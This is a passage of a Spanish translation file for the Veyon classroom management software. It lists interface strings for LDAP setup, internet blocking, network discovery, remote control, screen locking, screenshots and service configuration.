+ Log level + Nivel de registro + + + Nothing + Nada + + + Only critical messages + Solo mensajes críticos + + + Errors and critical messages + Errores y mensajes críticos + + + Warnings and errors + Avisos y errores + + + Information, warnings and errors + Información, avisos y errores + + + Debug messages and everything else + Mensajes de depuración y todo lo demás + + + Limit log file size + Límite archivo de registro + + + Clear all log files + Borrar todos los archivos de registro + + + Log to standard error output + Registro a salida de errores estándar + + + Network object directory + Directorio de objetos de red + + + Backend: + Backend: + + + Update interval: + Intervalo de actualización: + + + %1 service + servicio %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + El servicio %1 debe detenerse temporalmente para eliminar los archivos de registro. ¿Continuar? + + + Log files cleared + Archivos de registro limpiados + + + All log files were cleared successfully. + Todos los archivos de registro se limpiaron correctamente. + + + Error + Error + + + Could not remove all log files. + No se pudieron eliminar todos los archivos de registro. + + + MB + MB + + + Rotate log files + Rotar archivos de registro + + + x + x + + + seconds + segundos + + + Write to logging system of operating system + Escribir en el sistema de registro del sistema operativo + + + Authentication + Autenticación + + + Method: + Método: + + + Logon authentication + Autenticación de inicio de sesión + + + Key file authentication + Autenticación mediante archivo de clave + + + + InternetAccessControlConfigurationPage + + Internet access control + Control de acceso a Internet + + + Backend: + Backend: + + + General settings + Configuración general + + + Backend settings + Configuración de backend + + + + InternetAccessControlPlugin + + Block access to the internet + Bloquear el acceso a internet + + + Allow access to the internet + Permitir el acceso a internet + + + Show help about command + Mostrar ayuda sobre el comando + + + Block internet + Bloquear internet + + + Click this button to block access to the internet. + Haga clic en este botón para bloquear el acceso a internet. + + + Unblock internet + Desbloquear internet + + + Click this button to allow access to the internet. + Haga clic en este botón para permitir el acceso a internet. + + + Control access to the internet + Control de acceso a internet + + + Commands for controlling access to the internet + Comandos para controlar el acceso a internet + + + + LdapBrowseDialog + + Browse LDAP + Buscar LDAP + + + + LdapClient + + LDAP error description: %1 + Descripción del error LDAP: %1 + + + No LDAP error description available + No hay descripción de error de LDAP disponible + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Configuración básica + + + General + General + + + LDAP server and port + Servidor y puerto LDAP + + + Bind DN + Enlace DN + + + Bind password + Contraseña de enlace + + + Anonymous bind + Enlace anónimo + + + Use bind credentials + Utilizar credenciales de enlace + + + Test + Comprobar + + + Base DN + DN base + + + Fixed base DN + DN base fijo + + + e.g. dc=example,dc=org + v.g. dc=example,dc=org + + + Discover base DN by naming context + Descubrir el DN base mediante el contexto de nombres + + + e.g. namingContexts or defaultNamingContext + v.g. namingContexts o defaultNamingContext + + + Environment settings + Configuración del entorno + + + Object trees + Árboles de objetos + + + Computer tree + Árbol de equipos + + + e.g. OU=Groups + v.g. OU=Groups + + + User tree + Árbol de usuarios + + + e.g. OU=Users + v.g. OU=Users + + + e.g. OU=Computers + v.g. OU=Computers + + + Group tree + Árbol de grupos + + + Perform recursive search operations in object trees + Realizar operaciones de búsqueda recursiva en árboles de objetos + + + Object attributes + Atributos de objeto + + + e.g. hwAddress + p. ej. hwAddress + + + Computer host name attribute + Atributo de nombre del equipo + + + e.g. member or memberUid + v.g. member o memberUid + + + User login attribute + Atributo de inicio de sesión de usuario + + + e.g. dNSHostName + v.g. dNSHostName + + + Computer MAC address attribute + Atributo de dirección MAC del equipo + + + Group member attribute + Atributo de miembro del grupo + + + e.g. uid or sAMAccountName + v.g. uid o sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Nombres de equipo almacenados como nombres de dominio totalmente calificados (FQDN, v.g. myhost.example.org) + + + Advanced settings + Configuración avanzada + + + Optional object filters + Filtros de objeto opcionales + + + Filter for user groups + Filtro para grupos de usuarios + + + Filter for users + Filtro para usuarios + + + Filter for computer groups + Filtro para grupos de ordenadores + + + Group member identification + Identificación del miembro del grupo + + + Distinguished name (Samba/AD) + Nombre distinguido (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Atributo configurado para inicio de sesión de usuario o nombre de equipo (OpenLDAP) + + + List all groups of a user + Listar todos los grupos de un usuario + + + List all groups of a computer + Listar todos los grupos de un equipo + + + Get computer object by IP address + Obtener objeto de equipo por dirección IP + + + LDAP connection failed + Conexión LDAP fallida + + + LDAP bind failed + Enlace LDAP fallido + + + LDAP bind successful + Enlace LDAP exitoso + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Se conectó correctamente al servidor LDAP y se realizó un enlace LDAP. La configuración básica de LDAP está configurada correctamente. + + + LDAP base DN test failed + Comprobación fallida de DN base de LDAP + + + LDAP base DN test successful + Comprobación correcta de DN base de LDAP + + + LDAP naming context test failed + Comprobación fallida de contexto de nombres LDAP + + + LDAP naming context test successful + Comprobación correcta de contexto de nombres LDAP + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + Consulta correcta al contexto de nombres LDAP. Se han encontrado los siguientes DN base: +%1 + + + user tree + árbol de usuarios + + + group tree + árbol de grupos + + + computer tree + árbol de equipos + + + Enter username + Introduzca nombre de usuario + + + Please enter a user login name (wildcards allowed) which to query: + Por favor, introduzca un nombre de inicio de sesión (se permiten comodines) a consultar: + + + user objects + objetos de usuario + + + user login attribute + atributo de inicio de sesión de usuario + + + Enter group name + Introduzca nombre del grupo + + + Please enter a group name whose members to query: + Por favor, introduzca un nombre de grupo para consultar sus miembros: + + + group members + miembros del grupo + + + group member attribute + atributo del miembro del grupo + + + Group not found + Grupo no encontrado + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + No se pudo encontrar un grupo con el nombre "%1". Compruebe el nombre del grupo o el parámetro de árbol de grupo. + + + Enter computer name + Introduzca nombre del equipo + + + Please enter a computer host name to query: + Introduzca un nombre de equipo a consultar: + + + Invalid host name + Nombre de equipo no válido + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Configuró los nombres de equipo para que se almacenen como nombres de dominio totalmente cualificados (FQDN) pero introdujo un nombre de equipo sin dominio. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Configuró los nombres de equipo para que se almacenen como nombres simples sin un nombre de dominio, pero introdujo un nombre de equipo con una parte de nombre de dominio. + + + computer objects + Objetos de equipo + + + computer host name attribute + atributo de nombre de equipo + + + Enter computer DN + Introduzca DN de equipo + + + Please enter the DN of a computer whose MAC address to query: + Por favor, introduzca el DN de un equipo para consultar su dirección MAC: + + + computer MAC addresses + direcciones MAC de equipo + + + computer MAC address attribute + atributo de dirección MAC de equipo + + + users + usuarios + + + user groups + grupos de usuarios + + + computer groups + grupos de equipos + + + Please enter a user login name whose group memberships to query: + Por favor, introduzca nombre de inicio de sesión de usuario para consultar miembros del grupo: + + + groups of user + grupos de usuarios + + + user login attribute or group membership attribute + atributo de inicio de sesión de usuario o atributo de pertenencia de grupo + + + User not found + Usuario no encontrado + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + No se pudo encontrar un usuario con el nombre "%1". Compruebe el nombre de usuario o el parámetro de árbol de usuario. + + + Enter host name + Introduzca nombre de equipo + + + Please enter a computer host name whose group memberships to query: + Por favor, introduzca el nombre de equipo para consultar los miembros del grupo: + + + groups of computer + grupos de equipos + + + computer host name attribute or group membership attribute + Atributo de nombre de equipo o atributo de pertenencia a grupo + + + Computer not found + Equipo no encontrado + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + No se pudo encontrar un equipo con el nombre "%1". Compruebe el nombre del equipo o el parámetro de árbol de equipo. + + + Enter computer IP address + Introduzca la dirección IP del equipo + + + Please enter a computer IP address which to resolve to an computer object: + Introduzca una dirección IP de equipo a resolver a un objeto de equipo: + + + Host name lookup failed + La búsqueda de nombre de equipo falló + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + No se pudo encontrar el nombre de equipo para la dirección IP %1. Compruebe la configuración de su servidor DNS. + + + computers + equipos + + + LDAP %1 test failed + Comprobación fallida de LDAP %1 + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + No se pudo consultar ninguna entrada en el %1 configurado. Compruebe el parámetro %1. + +%2 + + + LDAP %1 test successful + Comprobación correcta de LDAP %1 + + + The %1 has been queried successfully and %2 entries were found. + El %1 se ha consultado correctamente y se han encontrado %2 entradas. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + No se pudo consultar ningún %1. Compruebe el parámetro %2 o escriba el nombre de un objeto existente. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 ha sido consultado correctamente: + +%3 + + + LDAP filter test failed + Comprobación fallida de filtro LDAP + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + No se pudo consultar ningún %1 con el filtro configurado. Compruebe el filtro LDAP para %1. + +%2 + + + LDAP filter test successful + Comprobación correcta de filtro LDAP + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 se han consultado correctamente con el filtro configurado. + + + (only if different from group tree) + (sólo si es diferente del árbol de grupos) + + + Computer group tree + Árbol de grupo de equipos + + + computer group tree + árbol de grupo de equipos + + + Filter for computers + Filtro para equipos + + + e.g. room or computerLab + v.g. sala o aula + + + List all members of a computer room + Listar todos los miembros de un aula + + + List all computer rooms + Listar todas las aulas + + + Enter computer room name + Introduzca el nombre del aula + + + Please enter the name of a computer room (wildcards allowed): + Por favor, introduzca el nombre de un aula (se permiten comodines): + + + computer rooms + aulas + + + computer room attribute + atributo de aula + + + Please enter the name of a computer room whose members to query: + Introduzca el nombre de un aula cuyos miembros desea consultar: + + + computer room members + miembros del aula + + + computer group filter or computer room member aggregation + filtro de grupo de equipos o agregación de miembros de aula + + + Computer rooms + Aulas + + + Integration tests + Pruebas de integración + + + Computer room attribute + Atributo de aula + + + Aggregate computers in a room via: + Agregar equipos a un aula a través de: + + + Computer groups + Grupos de equipos + + + Computer room attribute in computer objects + Atributo de aula en objetos de equipo + + + Test not applicable + Prueba no aplicable + + + Computer room name attribute + Atributo de nombre de aula + + + e.g. name or description + v.g. nombre o descripción + + + Filter for computer containers + Filtro para contenedores de ordenadores + + + Computer containers or OUs + Contenedores de computadoras u OUs + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Por favor, cambie la configuración del aula para usar grupos de equipos o contenedores de equipos como aulas. Después, se consultará el atributo especificado en lugar del nombre común de los grupos de equipos o de los objetos contenedor. De lo contrario, no es necesario configurar este atributo. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Por favor, cambie la configuración del aula para usar los contenedores de equipos como aulas. De lo contrario, no es necesario configurar este filtro. + + + Connection security + Seguridad de conexión + + + TLS certificate verification + Verificación del certificado TLS + + + System defaults + Valores por defecto del sistema + + + Never (insecure!) + Nunca (¡inseguro!) + + + Custom CA certificate file + Archivo de certificado CA personalizado + + + None + Ninguno + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + ej. (objectClass=computer) + + + e.g. (objectClass=group) + ej. (objectClass=group) + + + e.g. (objectClass=person) + ej. (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + ej. (objectClass=room) o (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + ej. (objectClass=container) o (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + No se pudo consultar el DN base configurado. Verifique el parámetro base DN. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + El DN base de LDAP se ha consultado con éxito. Se encontraron las siguientes entradas: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + No se pudo consultar el DN base a través de los contextos de nombres. Verifique el parámetro de atributo de contexto de nombres. + +%1 + + + Certificate files (*.pem) + Archivos de certificado (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + No se pudo conectar al servidor LDAP. Por favor, revise los parámetros del servidor. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + No se pudo vincular al servidor LDAP. Verifique los parámetros del servidor y las credenciales de enlace. + +%1 + + + Encryption protocol + Protocolo de encriptación + + + + LdapPlugin + + Auto-configure the base DN via naming context + Configuración automática del DN base a través del contexto de nombres + + + Query objects from LDAP directory + Consultar objetos desde el directorio LDAP + + + Show help about command + Mostrar ayuda sobre el comando + + + Commands for configuring and testing LDAP/AD integration + Comandos para configurar y probar la integración LDAP/AD + + + Provide LDAP/AD integration for Veyon + Proporcionar integración LDAP/AD para Veyon + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (cargar equipos y aulas desde LDAP/AD) + + + LDAP (load users and groups from LDAP/AD) + LDAP (cargar usuarios y grupos desde LDAP/AD) + + + + LicensingConfigurationPage + + Licensing + Licencias + + + Installed licenses + Licencias instaladas + + + Add new network range + Añadir nuevo rango de red + + + Remove selected network range + Eliminar el rango de red seleccionado + + + ID + ID + + + Feature + Característica + + + Valid until + Válido hasta + + + Licensee + Licencia + + + Browse license file + Buscar archivo de licencia + + + Veyon license files (*.vlf) + Archivos de licencia de Veyon (*.vlf) + + + Remove license + Eliminar licencia + + + Do you really want to remove the selected license? + ¿Realmente desea eliminar la licencia seleccionada? + + + <N/A> + <N/A> + + + Invalid license file + Archivo de licencia no válido + + + Could not open the license file for reading! + ¡No se pudo abrir el archivo de licencia para su lectura! + + + The selected license file does not contain valid data. + El archivo de licencia seleccionado no contiene datos válidos. + + + The selected license file could not be verified. + El archivo de licencia seleccionado no pudo ser verificado. + + + The selected license file is not valid for this installation. + El archivo de licencia seleccionado no es válido para esta instalación. + + + The selected license file is expired. + El archivo de licencia seleccionado ha expirado. + + + The license is already installed. + La licencia ya está instalada. + + + + LicensingPlugin + + Show help for specific command + Mostrar ayuda para un comando específico + + + Show all installed licenses + Mostrar todas las licencias instaladas + + + Add license file + Añadir archivo de licencia + + + Remove installed license + Eliminar licencia instalada + + + +USAGE + +%1 add <LICENSE FILE> + + + +USO + +Añadir %1 <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +USO + +Eliminar %1 <LICENSE ID> + + + + + No certificate found with given ID + No se ha encontrado ningún certificado con un ID proporcionado + + + <N/A> + <N/A> + + + Licensing management + Administración de licencias + + + Commands for managing license keys + Comandos para gestionar claves de licencia + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Plugin implementando funciones abstractas para la plataforma Linux + + + + MainToolBar + + Configuration + Configuración + + + Disable balloon tooltips + Desactivar ayudas en globos + + + Show icons only + Mostrar solo iconos + + + + MainWindow + + MainWindow + MainWindow + + + toolBar + toolBar + + + General + General + + + &File + &Archivo + + + &Help + A&yuda + + + &Quit + &Salir + + + Ctrl+Q + Ctrl+S + + + Ctrl+S + Ctrl+G + + + L&oad settings from file + &Leer configuración de archivo + + + Ctrl+O + Ctrl+L + + + About Qt + Acerca de Qt + + + Authentication impossible + Autenticación imposible + + + Configuration not writable + La configuración no se puede escribir + + + Load settings from file + Leer configuración de archivo + + + Save settings to file + Guardar configuración en archivo + + + Unsaved settings + Configuración no guardada + + + There are unsaved settings. Quit anyway? + Hay configuraciones no guardadas. ¿Salir de todas maneras? + + + Veyon Configurator + Configurador de Veyon + + + Service + Servicio + + + Master + Maestro + + + Access control + Control de acceso + + + About Veyon + Acerca de Veyon + + + Auto + Auto + + + Computer rooms + Sala de ordenadores + + + About + Acerca + + + %1 Configurator %2 + Configurador de %1 %2 + + + JSON files (*.json) + Archivos JSON (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + ¡El backend de configuración local informó que la configuración no es escribible! Ejecute el Configurador de %1 con privilegios más altos. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + No se encontraron archivos de clave de autenticación o los actuales no están actualizados. Por favor, cree nuevos archivos de claves usando el Configurador de %1. También puede configurar la autenticación de inicio de sesión utilizando el Configurador de %1. De lo contrario, no podrá acceder a los equipos que utilizan %1. + + + Access denied + Acceso denegado + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + De acuerdo con la configuración local, no se le permite acceder a los equipos de la red. Inicie sesión con una cuenta diferente o permita que el administrador del sistema compruebe la configuración local. + + + Screenshots + Capturas + + + Feature active + Característica activa + + + The feature "%1" is still active. Please stop it before closing %2. + La característica "%1" está aún activa. Por favor, detengala antes de cerrar %2. + + + Reset configuration + Restablecer configuración + + + Do you really want to reset the local configuration and revert all settings to their defaults? + ¿Realmente desea restablecer la configuración local y revertir todas las configuraciones a sus valores predeterminados? + + + Search users and computers + Buscar usuarios y equipos + + + Adjust optimal size + Ajustar el tamaño óptimo + + + Align computers to grid + Alinear equipos a la rejilla + + + Use custom computer placement + Usar ubicación de equipos personalizada + + + %1 Configurator + Configurador %1 + + + Insufficient privileges + Privilegios insuficientes + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + No se pudo iniciar con privilegios administrativos. ¡Asegúrese de que esté instalado un programa similar a sudo para su entorno de escritorio! El programa se ejecutará con privilegios de usuario normales. + + + Only show powered on computers + Mostrar sólo los equipos encendidos + + + &Save settings to file + &Guardar configuración a un archivo + + + &View + &Ver + + + &Standard + &Estándar + + + &Advanced + &Avanzado + + + + MasterConfigurationPage + + Directories + Directorios + + + ... + ... + + + User configuration + Configuración de usuario + + + Feature on computer double click: + Función al hacer doble click en equipo: + + + Automatically switch to current room at start + Cambiar automáticamente al aula actual al inicio + + + Features + Características + + + All features + Todas las funciones + + + Disabled features + Funciones deshabilitadas + + + Perform access control at program start + Realizar el control de acceso al inicio del programa + + + Screenshots + Capturas + + + <no feature> + <ninguna característica> + + + Automatically adjust computer thumbnail size at start + Ajustar automáticamente el tamaño de la imagen miniatura al inicio + + + Basic settings + Configuración básica + + + Behaviour + Comportamiento + + + Enforce selected mode for client computers + Aplicar el modo seleccionado para los equipos cliente + + + Only show current room + Mostrar sólo el aula actual + + + Allow adding rooms manually + Permitir añadir aulas manualmente + + + Hide local computer + Ocultar equipo local + + + Hide empty rooms + Ocultar aulas vacías + + + Hide computer filter field + Ocultar campo de filtro de equipo + + + Actions such as rebooting or powering down computers + Acciones como reiniciar o apagar equipos + + + Show confirmation dialog for potential dangerous actions + Mostrar diálogo de confirmación de posibles acciones peligrosas + + + User interface + Interfaz de usuario + + + Background color + Color de fondo + + + Thumbnail update interval + Intervalo de actualización de miniaturas + + + ms + ms + + + Program start + Iniciar el programa + + + Modes and features + Modos y funciones + + + User and computer name + Nombre del usuario y equipo + + + Only user name + Sólo nombre del usuario + + + Only computer name + Sólo nombre del equipo + + + Computer thumbnail caption + Nombre de miniatura + + + Computer rooms + Aulas + + + Automatically open computer rooms widget + Abrir automáticamente el widget de aulas + + + Text color + Color del texto + + + Sort order + Orden de clasificación + + + Computer and user name + Equipo y nombre del usuario + + + + MonitoringMode + + Monitoring + Monitorización + + + Builtin monitoring mode + Modo de monitorización incorporado + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Este es el modo predeterminado y le permite monitorizar todos los equipos en una o más habitaciones. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + Detección de redes + + + Mode + Modo + + + Scan network ranges + Analizar rangos de red + + + e.g. 192.168.1.0/24 + ej. 192.168.1.0/24 + + + Scan all subnets of computer + Analizar todas las subredes del equipo + + + Scan custom subnet + Analizar subred personalizada + + + Scan sessions on local computer + Analizar sesiones en un equipo local + + + Test + Comprobar + + + Network ranges + Rangos de red + + + Add new group + Añadir nuevo grupo + + + Remove selected group + Eliminar grupo seleccionado + + + Groups + Grupos + + + First address + Primera dirección + + + Last address + Última dirección + + + Add new network range + Añadir nuevo rango de red + + + Remove selected network range + Eliminar el rango de red seleccionado + + + Parallel scans + Análisis paralelos + + + Scan timeout + Tiempo de espera de análisis + + + ms + ms + + + Session scan limit + Límite de análisis de sesión + + + New group + Nuevo grupo + + + Options + Opciones + + + Reverse lookup discovered IP addresses to host names + Búsqueda inversa de direcciones IP descubiertas a nombres de host + + + + NetworkDiscoveryDirectory + + Scanning... + Analizando... + + + Discovered computers + Equipos detectados + + + + NetworkDiscoveryPlugin + + Show help for specific command + Mostrar ayuda para un comando específico + + + Scan a subnet + Analizar una subred + + + +USAGE + +%1 scan [<SUBNET>] + + + +USO + +%1 analizado [<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + Directorio de objetos de red que detecta automáticamente los equipos en la red + + + Network discovery (scan network for Veyon clients) + Detección de redes (analizar la red para clientes Veyon) + + + Commands for managing the network discovery directory + Comandos para administrar el directorio de detección de redes + + + + NetworkObjectTreeModel + + Room/Computer + Aula/Equipo + + + + PasswordDialog + + Username + Nombre de usuario + + + Password + Contraseña + + + Veyon Logon + Inicio de sesión de Veyon + + + Authentication error + Error de autenticación + + + Logon failed with given username and password. Please try again! + Error de inicio de sesión con el nombre de usuario y contraseña dados. Por favor, ¡inténtelo de nuevo! + + + Please enter your username and password in order to access computers. + Introduzca su nombre de usuario y contraseña para acceder a los equipos. + + + + PowerControlFeaturePlugin + + Power on + Encender + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Haga clic en este botón para encender todos los equipos. De esta manera usted no tiene que encender cada equipo a mano. + + + Reboot + Reiniciar + + + Click this button to reboot all computers. + Haga clic en este botón para reiniciar todos los equipos. + + + Power down + Apagar + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Haga clic en este botón para apagar todos los equipos. De esta manera usted no tiene que apagar cada equipo a mano. + + + Power on/down or reboot a computer + Encender/apagar o reiniciar un equipo + + + Confirm reboot + Confirmar reinicio + + + Confirm power down + Confirmar apagado + + + Do you really want to reboot the selected computers? + ¿Realmente desea reiniciar los equipos seleccionados? + + + Do you really want to power down the selected computer? + ¿Realmente desea apagar el equipo seleccionado? + + + Power on a computer via Wake-on-LAN (WOL) + Encienda un equipo a través de Wake-on-LAN (WOL) + + + MAC ADDRESS + DIRECCIÓN MAC + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + Este comando transmite un paquete Wake-on-LAN (WOL) a la red para encender el equipo con la dirección MAC proporcionada. + + + Please specify the command to display help for! + Por favor, ¡especifique el comando sobre el cual mostrar ayuda! + + + Invalid MAC address specified! + ¡Dirección MAC especificada inválida! + + + Commands for controlling power status of computers + Comandos para controlar el estado de energía de los equipos + + + + RemoteAccessFeaturePlugin + + Remote view + Vista remota + + + Open a remote view for a computer without interaction. + Abrir una vista remota para un equipo sin interacción. + + + Remote control + Control remoto + + + Open a remote control window for a computer. + Abrir una ventana de control remoto para un equipo. + + + Remote access + Acceso remoto + + + Remote view or control a computer + Vista remota o control de un equipo + + + Please enter the hostname or IP address of the computer to access: + Por favor, introduzca el nombre o la dirección IP del equipo a acceder: + + + Show help about command + Mostrar ayuda sobre el comando + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 Acceso remoto + + + + RemoteAccessWidgetToolBar + + View only + Solo mirar + + + Remote control + Control remoto + + + Send shortcut + Enviar combinación de teclas + + + Fullscreen + Pantalla completa + + + Window + Ventana + + + Quit + Salir + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Conectando %1 + + + Connected. + Conectado. + + + Screenshot + Captura + + + + RoomSelectionDialog + + Room selection + Selecciónde aula + + + enter search filter... + introduzca el filtro de búsqueda ... + + + + Routing + + Control internet access by modifying routing table + Controlar el acceso a Internet modificando la tabla de enrutamiento + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + Eliminar las rutas predeterminadas para bloquear el acceso a Internet + + + Add custom route to block internet + Añadir una ruta personalizada para bloquear Internet + + + Destination + Destino + + + Gateway + Puerta de enlace + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Introduzca los programas o comandos a ejecutar en el equipo/s seleccionado/s. Puede separar varios programas/comandos por línea. + + + Run programs + Ejecutar programas + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + v.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Bloquear + + + Unlock + Desbloquear + + + Lock screen and input devices of a computer + Bloquear la pantalla y los dispositivos de entrada de un equipo + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Para recuperar toda la atención del usuario puede bloquear sus equipos con este botón. En este modo, todos los dispositivos de entrada están bloqueados y las pantallas son inhabilitadas . + + + + Screenshot + + unknown + desconocido + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + No se pudo tomar una captura de pantalla, ya que el directorio %1 no existe y no se pudo crear. + + + Screenshot + Captura + + + + ScreenshotFeaturePlugin + + Screenshot + Captura + + + Use this function to take a screenshot of selected computers. + Utilice esta función para tomar una captura de pantalla de los equipos seleccionados. + + + Screenshots taken + Capturas de pantalla tomadas + + + Screenshot of %1 computer have been taken successfully. + La captura de pantalla del equipo %1 se ha realizado correctamente. + + + Take screenshots of computers and save them locally. + Tome capturas de pantalla de los equipos y guárdelas localmente. + + + + ScreenshotManagementView + + User: + Usuario: + + + Date: + Fecha: + + + Time: + Hora: + + + Show + Mostrar + + + Delete + Borrar + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Todas las capturas de pantalla tomadas se muestran aquí. Puede tomar capturas de pantalla haciendo clic en "Captura" en el menú contextual de un equipo. Las capturas de pantalla se pueden gestionar mediante los botones de abajo. + + + Computer: + Equipo: + + + + ServiceConfigurationPage + + General + General + + + Autostart + Inicio automático + + + Hide tray icon + Ocultar icono + + + Start service + Iniciar servicio + + + Stopped + Parado + + + Stop service + Parar servicio + + + State: + Estado: + + + Enable SAS generation by software (Ctrl+Alt+Del) + Habilitar la generación de SAS por software (Ctrl+Alt+Del) + + + Network + Red + + + Demo server port + Puerto de servidor demo + + + Enable firewall exception + Habilitar excepción en el cortafuegos + + + Allow connections from localhost only + Solo permitir conexiones desde equipo local + + + Internal VNC server port + Puerto del servidor VNC interno + + + VNC server + Servidor VNC + + + Plugin: + Plugin: + + + Restart %1 Service + Reiniciar Servicio %1 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Todos las configuraciones se guardaron correctamente. Para tener efecto es necesario reiniciar el servicio %1. ¿Reiniciar ahora? + + + Running + Funcionando + + + Feature manager port + Puerto del administrador de funciones + + + Primary service port + Puerto de servicio principal + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + Al habilitar esta opción, el servicio iniciará un proceso de servidor para cada sesión interactiva en un equipo. +Por lo general, esto es necesario para admitir servidores de terminales. + + + Multi session support (experimental) + Soporte de sesiones múltiples (experimental) + + + Show notification on remote connection + Mostrar notificación en conexión remota + + + Show notification on failed authentication attempts + Mostrar notificación en intentos de autenticación fallidos + + + + ServiceControl + + Starting service %1 + Iniciando servicio %1 + + + Stopping service %1 + Deteniendo servicio %1 + + + Registering service %1 + Registrando servicio %1 + + + Unregistering service %1 + Eliminando registro de servicio %1 + + + Service control + Control de servicio + + + + ServiceControlPlugin + + Service is running + El servicio esta ejecutándose + + + Service is not running + El servicio no está ejecutándose + + + Configure and control Veyon service + Configurar y controlar el Servicio de Veyon + + + Register Veyon Service + Registrar Servicio Veyon + + + Unregister Veyon Service + Anular el registro del Servicio Veyon + + + Start Veyon Service + Iniciar Servicio Veyon + + + Stop Veyon Service + Detener Servicio Veyon + + + Restart Veyon Service + Reiniciar Servicio Veyon + + + Query status of Veyon Service + Consultar estado de Servicio Veyon + + + Commands for configuring and controlling Veyon Service + Comandos para configurar y controlar el Servicio Veyon + + + + ShellCommandLinePlugin + + Run command file + Ejecutar archivo de comandos + + + File "%1" does not exist! + ¡El archivo "%1" no existe! + + + Interactive shell and script execution for Veyon Control + Ejecución interactiva de shell y script para el Control de Veyon + + + Commands for shell functionalities + Comandos para funcionalidades de shell + + + + SystemTrayIcon + + System tray icon + Icono de bandeja de sistema + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Backend de grupos de usuarios para grupos de usuarios del sistema + + + Default (system user groups) + Predeterminado (grupos de usuarios del sistema) + + + + TextMessageDialog + + Send text message + Enviar mensaje de texto + + + Use the field below to type your message which will be sent to all selected users. + Use el campo de más abajo para escribir su mensaje que será enviado a todos los usuarios seleccionados. + + + + TextMessageFeaturePlugin + + Text message + Mensaje de texto + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Utilice esta función para enviar un mensaje de texto a todos los usuarios, v.g., para asignarles nuevas tareas. + + + Message from teacher + Mensaje del profesor + + + Send a message to a user + Enviar un mensaje a un usuario + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Habilitar captura de ventanas apiladas (semitransparentes) + + + Poll full screen (leave this enabled per default) + Sondeo de pantalla completa (dejar habilitado por defecto) + + + Low accuracy (turbo mode) + Baja precisión (modo turbo) + + + Builtin UltraVNC server configuration + Configuración de servidor UltraVNC incorporado + + + Enable multi monitor support + Habilitar soporte multi-monitor + + + Enable Desktop Duplication Engine on Windows 8 and newer + Habilitar duplicación de escritorio en Windows 8 y versiones posteriores + + + + UserConfig + + No write access + No hay acceso de escritura + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + No se pudo guardar su configuración personal. Compruebe la ruta del archivo de configuración del usuario utilizando el Configurador %1. + + + + UserSessionControl + + User session control + Control de sesión de usuario + + + Click this button to logout users from all computers. + Haga clic en este botón para cerrar 